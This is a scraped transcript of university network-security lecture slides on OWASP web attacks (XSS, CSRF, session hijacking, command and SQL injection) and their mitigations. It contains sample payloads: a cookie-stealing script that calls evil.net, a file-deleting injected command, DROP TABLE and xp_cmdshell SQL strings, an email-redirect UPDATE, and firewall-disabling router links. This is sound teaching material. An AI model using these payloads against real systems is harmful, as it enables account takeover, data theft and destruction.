in3210 network security web application security...the owasp foundation the open web application...
Post on 11-Apr-2020
15 Views
Preview:
TRANSCRIPT
IN3210 – Network Security
Web Application Security
Attacks on the Web
Web ApplicationUser
Attacker
Web ServerWeb
ApplicationDatabase
2
The OWASP Foundation
⚫ “The Open Web Application Security Project (OWASP) is a 501(c)(3) worldwide not-for-profit charitable organization focused on improving the security of software. Our mission is to make software security visible, so that individuals and organizations are able to make informed decisions.”
⚫ Many well known projects, e.g.:− OWASP Zed Attack Proxy (ZAP)
− OWASP Juice Shop
− OWASP ModSecurity Core Rule Set (CRS)
3
OWASP Top 10 Web Attacks
4
OWASP Top 10 Web Attacks
5
Recapitulation: Cookies
⚫ HTTP is stateless
⚫ A lot of scenarios require a session (Web Shop, Online Banking)
⚫ For that purpose Cookies were introduced (Netscape, 1994)
⚫ Cookies are a set of name/value pair carrying arbitrary values
⚫ Typical: random value identifying a session→ Server associates cookie value with session
6
Recapitulation: Cookies
GET /res2 HTTP/1.0Cookie: id=xyz123
GET /res1 HTTP/1.0
HTTP/1.0 200 OKSet-Cookie: id=xyz123
HTTP/1.0 200 OK
GET /res3 HTTP/1.0Cookie: id=xyz123 . . .
7
Cookie Poisoning
⚫ Nowadays: Cookies contain (typically) just a session identifier→ Cookie Poisoning attack not possible
GET /toCart?article=Computer&amount=1
HTTP/1.0 200 OKSet-Cookie:
article=Computer;amount=1;price=500GET /buy
Set-Cookie: article=Computer;amount=1;price=10
8
Session Stealing
⚫ Cookie Stealing:− Network eavesdropping (e.g. inside a WIFI of via ARP Spoofing)
− Redirecting (e.g. DNS Poisoning)
− Cross-site scripting (see later…)
Username: BobPassword: s3cr3!
Bob = cookie123
cookie123
cookie123
„Welcome Bob“
9
DNS Cache Poisoning (simplified)
Client(attacker)
DNS server forfacebook.com
DNS server (victim)
IP Address forwww.facebook.com ?
IPA
dd
ressfo
rwww.facebook.com
?
www.facebook.com: 1.2.3.4 (too late)
www.facebook.com
:6
.6.6
.6
10
Session Hijacking
⚫ Sessions− Session identifiers stored on server
− Associated with respective users
− Exchanged via URLs, hidden form fields, or cookies
⚫ Session IDs are an attractive target for attackers− By obtaining a valid Session ID, a user's identity is effectively hijacked
11
Session Hijacking: Attack Classes and Countermeasures
⚫ Interception− Encrypted communication (such as TLS)
⚫ Prediction− Cryptographically strong pseudo-random number generators
− Carefully chosen seed that don't leak from the server
⚫ Brute-force guessing− Choose effective bit-length large enough with respect to the number
of simultaneous sessions
12
Session Fixiation Attack
③ http://www.bank.com/login.jsp?sessionid=4711
bank.com
13
Session Fixiation Attack
⚫ General underlying attack idea− The attacker fixes the user's session ID before the user even logs in
− In other words: the user's session ID has been fixed in advanced instead of having been generated randomly at login time
− This eliminates the need to obtain a user's session ID afterwards
⚫ Session ID in an URL argument− The attacker needs to trick the user to log-in into the target web site
through a provided hyperlink, such as:
http://www.bank.com/login.jsp?sessionid=4711
⚫ Session ID in cookie or hidden field:− slightly more complicated but also possible
⚫ Countermeasure:− Generate new session ID after successful login
14
OWASP Top 10 Web Attacks
15
Cross Site Scripting (XSS)
⚫ Required vulnerability:− Web site accepts user input (e.g. search request)
− user input is not properly verified
⚫ Attacker:− injects malicious Code (e.g. JavaScript) as input to the Web app
⚫ Victim:− uses (trusted) Web app
− gets the malicious code from the Web app
− executes the malicious code
16
Reflected XSS – Principle
goodshop.com
User calls trusted Web app with malicious code as
parameter
Link to goodshop.comincl. malicious code
Web app delivers malicious code
17
Reflected XSS – Example
⚫ Web App accepts search requests:http://www.example.com/search?query=LOLCats
⚫ … and displays search results:<p>You have searched for: LOLCats</p>
<p>Your search results: ...
⚫ Attacker sends following link to victimhttp://www.example.com/search?query=<script>alert("XSS");</script>
⚫ Victim visits link and gets this document from Web App:<p>You have searched for: <script>alert("XSS");</script></p>
<p>Your search results: ...
⚫ Victim‘s browser executes script
18
Persistent XSS – Principle
goodshop.com User calls trusted
Web app
Attacker stores information incl. malicious codeinto Web app
Web app delivers malicious code
19
Persistent XSS – Example
⚫ Web App allows user to store guest book entries
⚫ Attacker stores an entry:This is a nice guestbook. <script>alert("XSS");</script>
⚫ Victim visits the guestbook and gets the entry including the JavaScript
⚫ Victim‘s browser executes script
20
XSS – What can the malicious code do?
⚫ Sending cookies to the attacker:<script>
document.location=
"http://evil.net/collect?cookie="+document.cookie
</script>
⚫ Embedding HTML code into the “good” Web site:− forged login form
− advertisement
− misinformation
21
XSS – Countermeasures
⚫ Input validation
⚫ Removing „<script>“ tags?
⚫ Not enough – script can be embedded into other HTML tags:<img src="javascript:alert('XSS');">
⚫ Better: escaping of special characters:<img src="javascript:alert('XSS');">
⚫ This way the input is interpreted as text and not as HTML element
⚫ Disadvantage: no HTML code in user input possible
22
XSS - Example
23
OWASP Top 10 Web Attacks
24
Cross-Site Request Forgery
http://goodshop.com/shop
0
Add to cart
http://goodshop.com/shop
http://goodshop.com/cart?product=102
http://goodshop.com/shop
1
Check out
Total:
1000 $
25
Cross-Site Request Forgery
http://evil.net/
Click herehttp://goodshop.com/cart?product=102
http://goodshop.com/shop
1
Check out
Total:
1000 $
26
Cross-Site Request Forgery
http://evil.net/
Click herehttp://goodshop.com/cart?product=102&count=100
http://goodshop.com/shop
100
Check out
Total:
100.000 $
27
Cross Site Request Forgery (CSRF)
⚫ (Mis)uses the victim’s identity for performing an action, which the attacker could not perform himself
⚫ The attacker tricks the victim into clicking an link (e.g. via email or on a Web site)
⚫ Clicking the linking immediately executes an action on the server (also called One Click Attack)
28
CSRF – Example 1
⚫ The victim logs into his online banking (www.bank.com) and does not log out
⚫ The victim clicks on the following link retrieved from the attacker (assume 12345 is the attackers account number):
http://www.bank.com/transfer?amount=1000&target=12345
⚫ As the victim is still logged into the bank Web site, the money transfer is directly executed by the bank server
⚫ Here: Identity = Active Session
29
CSRF – Example 2
⚫ Router (home or enterprise) can only be configured from the internal network
⚫ The victiom receives this link from the attacker:
http://192.168.0.1/admin?firewall=off
⚫ This will disable the firewall (if no admin password is required), which is good starting point for further attacks
⚫ In case a password is required, the attacker can try common or default passwords:
http://192.168.0.1/admin?user=admin&passwd=admin&firewall=off
⚫ Here: Identity = location inside the network
30
CSRF
⚫ Countermeasures:− Adding additional token as hidden field to forms
− Requests from attacker do not include this token
− Nowadays included in many frameworks
⚫ CRSF not widespread anymore (< 5 % of all Web applications)
⚫ Removed from current OWASP Top 10
<form action="/transfer.do" method="post"><input type="hidden" name="CSRFToken“
value="OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwY...E1ZDZMGYwMGEwOA=="> ... </form>
31
OWASP Top 10 Web Attacks
32
Command Injection
⚫ CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
⚫ Command injection vulnerabilities typically occur when:1. Data enters the application from an untrusted source.
2. The data is part of a string that is executed as a command by the application.
3. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.
So
urc
e: h
ttp
://c
we.
mit
re.o
rg/d
ata
/def
init
ion
s/7
7.h
tml
33
Command Injection – Example
⚫ Web-based backup
− Batch-file wrapper (rmanDB.bat) around the rman utility
− Script rmanDB.bat accepts a single command line parameter specifying the type of backup to perform
− Run a cleanup.bat script to delete some temporary files
− Application runs the backup as a privileged user, since access to the database is restricted
...String btype = request.getParameter("backuptype");String cmd = new String("cmd.exe /K \"
c:\\util\\rmanDB.bat "+btype+"&& c:\\util\\cleanup.bat\"")
System.Runtime.getRuntime().exec(cmd);...
34
Command Injection – Example
⚫ Intended usehttps://some.server.net/tools/backup?
backuptype=Incremental
⚫ Unintended (malicious) usehttps://some.server.net/tools/backup?
backuptype=%26%26+del+c%3A%5C%5Cdbms%5C%5C%2A.%2A..
...String btype = request.getParameter("backuptype");String cmd = new String("cmd.exe /K \"
c:\\util\\rmanDB.bat "+btype+"&& c:\\util\\cleanup.bat\"")
System.Runtime.getRuntime().exec(cmd);...
User inputnot validated
35
Command Injection – Example
⚫ What happens
backuptype=%26%26+del+c%3A%5C%5Cdbms%5C%5C%2A.%2A
backuptype=&& del c:\\dbms\\*.*
String btype = „&& del c:\\dbms\\*.*“
cmd = cmd.exe /K c:\\util\\rmanDB.bat &&
del c:\\dbms\\*.* &&
c:\\util\\cleanup.bat\
User inputnot validated
36
Command Injection – Potential Mitigations
⚫ Avoid external command calls − Use library calls rather than external processes to recreate the desired
functionality
− Ensure that all external commands called from the program are statically created
⚫ Assume all input is malicious− Use an "accept known good" input validation strategy (white list input
validation)
− Reject any input that does not strictly conform to specifications, or transform it into something that does
⚫ Assign permissions that prevent from accessing/opening privileged files (if not required)
So
urc
e: h
ttp
://c
we.
mit
re.o
rg/d
ata
/def
init
ion
s/7
7.h
tml
37
SQL Injection
⚫ CWE-89: Improper Neutralization of Special Elements used in an SQL Command− Without sufficient removal or quoting of SQL syntax in user-
controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. This can be used to alter query logic to bypass security checks, or to insert additional statements that modify the back-end database, possibly including execution of system commands.
So
urc
e: h
ttp
://c
we.
mit
re.o
rg/d
ata
/def
init
ion
s/8
9.h
tml
38
SQL Injection
Web ServerWeb
ApplicationDatabase
SQL
39
SQL Injection – Example „Password Reset“
<FORM ACTION="/pwdrst" METHOD="GET"><INPUT TYPE="text" NAME="user" />
</FORM>
String query ="SELECT email, pwd, name FROM members WHERE id='"+user+"'";
SELECT email, pwd, nameFROM membersWHERE id='johndoe';
http://www.fb.com/pwdrst?user=johndoe
Intended Use
40
SQL Injection – Example „Password Reset“
<FORM ACTION="/pwdrst" METHOD="GET"><INPUT TYPE="text" NAME="user" />
</FORM>
String query ="SELECT email, pwd, name FROM members WHERE id='"+user+"'";
SELECT email, pwd, nameFROM membersWHERE id='x'; DROP TABLE members;--';
http://www.fb.com/pwdrst?user=x%27%3b+DROP+TABLE+members%3b+--
Malicious Use
41
SQL Injection – Further Examples (1)
⚫ Search for items matching a specified name and owned by the currently-authenticated userSELECT * FROM items WHERE owner = <userName> AND itemname = <itemName>;
⚫ If an attacker with the username ”wiley” enters the string name' OR 'a'='a the query becomesSELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a';
⚫ So the query becomes logically equivalent to the much simpler query SELECT * FROM items;
⚫ The query now returns all entries stored in the items table, regardless of their specified owner.
So
urc
e: h
ttp
://c
we.
mit
re.o
rg/d
ata
/def
init
ion
s/8
9.h
tml
42
SQL Injection – Further Examples (2)
⚫ MS SQL has a built-in function that enables shell command executionSELECT ITEM, PRICE FROM PRODUCT WHERE ITEM_CATEGORY='<user-input>' ORDER BY PRICE
⚫ Again, if the <user-input> is taken from an untrusted source an attacker can enter the string
'; exec xp_cmdshell 'dir' --
⚫ The query will take the following formSELECT ITEM, PRICE FROM PRODUCT WHERE ITEM_CATEGORY=''; exec xp_cmdshell 'dir' --' ORDER BY PRICE
So
urc
e: h
ttp
://c
we.
mit
re.o
rg/d
ata
/def
init
ion
s/8
9.h
tml
43
Anatomy of an SQL Injection Attack
⚫ Probe for a possible vulnerability
⚫ Determine data base schema− Column names
− Table names
⚫ Determine SQL version
⚫ Perform SQL Injection Attacks− Finding some users
− Brute-force password guessing
− Mail me a password
44
Anatomy of an SQL Injection Attack
⚫ Case study based on a password reset page example
Web Server Web Application
Error Message
NotificationMessage
45
Anatomy of an SQL Injection Attack
⚫ Probe for a possible vulnerability− To find a SQL Injection vulnerability, a common approach is to see
whether the user input is passed to the DB unsanitized and interpreted there
https://www.fb.com/pwdrst?user=a'
− If this leads to an error message other than e.g. “No such user” then the response is a give-away that user input is not being sanitized properly!
▪ When executed by the SQL parser, the extra quote mark will abort the parsing with a syntax error
▪ How this manifests itself to the user depends on the Web app's internal error-recovery procedures, but it's usually different from "No such user"
htt
p:/
/ww
w.u
nix
wiz
.net
/tec
hti
ps/
sql-
inje
ctio
n.h
tml
46
Anatomy of an SQL Injection Attack
⚫ Determine data base schema: Column names− Perform a SHOW TABLE would be easiest, but the name of the table is
unknown yet and there is no obvious vehicle to obtain the output of this command
− The tail end of the query is a comparison with the user ID, so the first guess is userid as the name of the field
SELECT fieldlist FROM tableWHERE field = 'x' AND userid IS NULL; --';
▪ A server error means that the SQL is malformed and a syntax error was thrown: this is most likely due to a bad field name
▪ Any kind of valid response is a hint that the guessed name was correct!
− As a result of this process, several valid field names were found:userid, pwd, email, name
htt
p:/
/ww
w.u
nix
wiz
.net
/tec
hti
ps/
sql-
inje
ctio
n.h
tml
47
Anatomy of an SQL Injection Attack
⚫ Determine data base schema: Table names− There are several approaches for finding tablenames → Here we will
rely on a subselect
− A standalone query of SELECT COUNT(*) FROM tabnamereturns the number of records in that table, and fails if the table name is unknown
− Building this into the string to probe for the table name:
SELECT email, pwd, userid, name FROM tableWHERE userid = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --';
− By iterating over several guesses, we eventually determined that members is a valid table in the database
htt
p:/
/ww
w.u
nix
wiz
.net
/tec
hti
ps/
sql-
inje
ctio
n.h
tml
48
Anatomy of an SQL Injection Attack
⚫ Determine data base schema: Table names− Is the table members used in this query?
− Test using table.field notation
▪ Only works for tables that are actually part of this query, not merely that the table exists
− When
SELECT email, pwd, userid, nameFROM members WHERE userid = 'x' AND members.email IS NULL; –-';
returned "User ID unknown", it is confirmed that the SQL was well formed and that the table name has been properly guessed
htt
p:/
/ww
w.u
nix
wiz
.net
/tec
hti
ps/
sql-
inje
ctio
n.h
tml
49
Anatomy of an SQL Injection Attack
⚫ Determine SQL version− Using UNION SELECT two queries can be combined into one single
result table
− Prerequisite: Both query result sets require the same amount of columns
SELECT email, pwd, userid, nameFROM members WHERE userid = 'x' UNION SELECT 1,version(),3,4 –-';
htt
p:/
/ww
w.u
nix
wiz
.net
/tec
hti
ps/
sql-
inje
ctio
n.h
tml
50
Anatomy of an SQL Injection Attack
⚫ Perform SQL Injection Attack: Finding some users− Search on the company's website ("About us“ or "Contact")
→ some clues which allows to make good guesses
− Submit a query that uses the LIKE clause, allowing to do partial matches of user IDs or names in the database
SELECT email, pwd, userid, name FROM membersWHERE userid = 'x' OR userid LIKE '%john%';
− Note: this triggers the "We sent your password" message and email. Although this reveals an email address each time we run it, it also actually sends that email, which may raise suspicions
htt
p:/
/ww
w.u
nix
wiz
.net
/tec
hti
ps/
sql-
inje
ctio
n.h
tml
51
Anatomy of an SQL Injection Attack
⚫ Perform SQL Injection Attack:Brute-force password guessing− The effectiveness of brute-force password guessing at the main login
page is limited → many systems make an effort to detect or even prevent this (logfiles, account lockouts, etc.)
− Doing password guessing via SQL Injection might remain unobserved (we learned the user ID johndoe)
SELECT email, pwd, userid, name FROM membersWHERE userid='johndoe' AND pwd='rtfm-luser';
− This procedure can be automated with scripting
− The password has been found when the "Your password has been mailed to you" message appears
htt
p:/
/ww
w.u
nix
wiz
.net
/tec
hti
ps/
sql-
inje
ctio
n.h
tml
52
Anatomy of an SQL Injection Attack
⚫ Perform SQL Injection Attack: Mail me a password− The database is not read-only
− Change the email address of the determined user to one address in your possession
SELECT email, pwd, userid, name FROM membersWHERE userid = 'x'; UPDATE membersSET email = 'attacker@onetimeusage.net‚WHERE userid = 'johndoe';
− The use of the regular "I lost my password" link will result in an email being sent to the attacker containing some sort of login information
htt
p:/
/ww
w.u
nix
wiz
.net
/tec
hti
ps/
sql-
inje
ctio
n.h
tml
53
Blind SQL Injection
⚫ When probing/constructing SQL Injections a server sometimes respond with error messages from the database (e.g. SQL syntax error)
⚫ Blind SQL injection− Identical to SQL Injection
− Rather than getting a useful error message, a generic page is returned
− Makes exploiting a potential SQL Injection attack more difficult but not impossible
− An attacker can still steal data by asking a series of true and falsequestions through SQL statements
htt
ps:
//w
ww
.ow
asp
.org
/in
dex
.ph
p/B
lind
_SQ
L_In
ject
ion
54
Potential Mitigations (1/5)
⚫ Input Validation− Assume all input is malicious
▪ Use an "accept known good" input validation strategy (white list input validation)
▪ Reject any input that does not strictly conform to specifications, or transform it into something that does
− In practice this approach is highly limited because there are so few fields for which it's possible to outright exclude many of the dangerous characters. For "dates" or "email addresses" or "integers" it may have merit, but for any kind of real application, one simply cannot avoid the other mitigations
htt
ps:
//w
ww
.ow
asp
.org
/in
dex
.ph
p/S
QL_
Inje
ctio
n_P
reve
nti
on
_C
hea
t_S
hee
t
55
Potential Mitigations (2/5)
⚫ Escaping− While input validation is important and should always be performed,
it is not a complete solution for injection attacks.
− Escaping is the primary defense
▪ Escaping is a technique used to ensure that characters are treated as data, not as characters that are relevant to the interpreter's parser
▪ Writing these encoders is not difficult, but there are quite a few hidden pitfalls
o Example: You might also forget to escape the escape character, which attackers can use to neutralize your attempts to be safe
▪ Recommendation: Use a security-focused encoding library to make sure these rules are properly implemented!
o Examples: mysql_real_escape_string(), Perl DBD method $dbh->quote($value)
htt
ps:
//w
ww
.ow
asp
.org
/in
dex
.ph
p/S
QL_
Inje
ctio
n_P
reve
nti
on
_C
hea
t_S
hee
t
56
Potential Mitigations (3/5)
⚫ Bound Parameters (Prepared Statements)− Avoids that parameters are interpreted by the SQL parser (they are
just treated as data!)
− Supported by essentially all database programming interfaces
− Example in Java
▪ Insecure database access
▪ Secure database access via Prepared Statements
htt
ps:
//w
ww
.ow
asp
.org
/in
dex
.ph
p/S
QL_
Inje
ctio
n_P
reve
nti
on
_C
hea
t_S
hee
t
Statement s = connection.createStatement();ResultSet rs = s.executeQuery("SELECT email FROM members WHERE name = " + field);
PreparedStatement ps = connection.prepareStatement("SELECT email FROM members WHERE name = ?");ps.setString(1, field);ResultSet rs = ps.executeQuery();
57
Potential Mitigations (4/5)
⚫ Limit user privileges and segregate users − Database connections should have the least privileges possible
− Database connections which allow to perform modifications to the database must be treated with care
− Example:
▪ switch the session to a database connection with more rights in case a set of valid credentials had been passed via the login form
htt
ps:
//w
ww
.ow
asp
.org
/in
dex
.ph
p/S
QL_
Inje
ctio
n_P
reve
nti
on
_C
hea
t_S
hee
t
58
Potential Mitigations (5/5)
⚫ Error Reporting − Detailed error messages should not be shown to the outside world,
since it makes an attack much easier if e.g. the full query is shown, pointing to the syntax error involved
− This information is useful to developers, but it should be restricted - if possible - to just internal users
− The default error reporting for some frameworks includes developer debugging information
htt
ps:
//w
ww
.ow
asp
.org
/in
dex
.ph
p/S
QL_
Inje
ctio
n_P
reve
nti
on
_C
hea
t_S
hee
t
59
SQL …
So
urc
e: x
kcd
.co
m
60
top related